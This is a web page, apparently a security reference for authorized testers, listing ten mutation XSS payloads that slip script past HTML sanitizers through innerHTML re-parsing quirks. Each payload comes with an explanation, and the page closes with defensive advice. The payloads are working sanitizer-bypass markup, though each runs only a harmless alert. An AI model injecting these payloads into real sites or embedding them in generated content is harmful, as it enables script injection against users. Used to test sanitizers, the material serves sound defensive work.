Skip to content

Mutation XSS (mXSS) Payloads

10 payloadsFor authorized testing only

Mutation XSS defeats HTML sanitizers that are otherwise correct. The sanitizer sees safe markup, but when that output is later assigned to innerHTML the browser re-parses it and mutates the tree into something executable — exploiting differences in how raw-text elements, foreign-content namespaces (SVG, MathML) and the HTML parser handle edge cases.

mXSS needs a sanitize-then-innerHTML round-trip, which is extremely common in rich-text editors and comment systems. Keeping your sanitizer current is the main defence; these payloads help verify it.

noscript title parser mutation

HTML bodyseverity: high
<noscript><p title="</noscript><img src=x onerror=alert('XSS')>">
Context
HTML re-parsed after sanitization (innerHTML round-trip).
What it needs
Sanitized output later re-serialized and re-parsed by the browser.
Why it works
noscript parsing differs with/without scripting, reconstituting an executable img.

textarea close mutation

HTML bodyseverity: high
<textarea><script></textarea><script>alert('XSS')<\/script>
Context
HTML re-parsed after sanitization.
What it needs
A sanitize-then-innerHTML round-trip.
Why it works
Closing </textarea> re-opens parsing so the following <script> becomes live.

title comment mutation

HTML bodyseverity: high
<title><!--</title><script>alert('XSS')<\/script>-->
Context
HTML re-parsed after sanitization.
What it needs
A sanitize-then-innerHTML round-trip.
Why it works
The title/comment boundary mutates on re-parse, exposing the script.

script type=text/html innerHTML bypass

HTML bodyseverity: medium
<script type="text/html"><img src=x onerror=alert('XSS')><\/script>
Context
HTML re-parsed after sanitization.
What it needs
A sanitize-then-innerHTML round-trip.
Why it works
A non-executable script template becomes executable once its contents are re-inserted.

SVG title namespace mutation

HTML bodyseverity: high
<svg><title><</title><img src=x onerror=alert('XSS')>
Context
HTML re-parsed after sanitization.
What it needs
A sanitize-then-innerHTML round-trip.
Why it works
SVG title namespace switching lets the img escape the title on re-parse.

MathML annotation namespace

HTML bodyseverity: medium
<math><annotation encoding="text/html"><img src=x onerror=alert('XSS')></annotation></math>
Context
HTML re-parsed after sanitization.
What it needs
A sanitize-then-innerHTML round-trip.
Why it works
MathML annotation encoding=text/html flips the parser into HTML mode.

form + mglyph parser confusion

HTML bodyseverity: high
<form><math><mtext></form><form><mglyph><style></math><img src=x onerror=alert('XSS')>
Context
HTML re-parsed after sanitization.
What it needs
A sanitize-then-innerHTML round-trip.
Why it works
form + mglyph parser confusion resurrects an executable node.

xmp raw-text close mutation

HTML bodyseverity: medium
<xmp><script></xmp><script>alert('XSS')<\/script>
Context
HTML re-parsed after sanitization.
What it needs
A sanitize-then-innerHTML round-trip.
Why it works
Closing the <xmp> raw-text element re-enables parsing of the following script.

listing raw-text close mutation

HTML bodyseverity: medium
<listing><script></listing><script>alert('XSS')<\/script>
Context
HTML re-parsed after sanitization.
What it needs
A sanitize-then-innerHTML round-trip.
Why it works
Closing the <listing> raw-text element re-enables parsing of the following script.

select option parser mutation

HTML bodyseverity: medium
<select><option></select><img src=x onerror=alert('XSS')>
Context
HTML re-parsed after sanitization.
What it needs
A sanitize-then-innerHTML round-trip.
Why it works
select/option parsing drops nodes so the trailing img escapes into the body.

Defense

  • Keep your sanitizer (e.g. DOMPurify) up to date — mXSS vectors are patched as they're discovered.
  • Avoid re-serializing then re-parsing sanitized HTML; sanitize the exact string you insert.
  • Prefer setting textContent, or render through a framework that builds the DOM directly.
  • Constrain allowed elements/namespaces (drop SVG/MathML if you don't need them).

Keep testing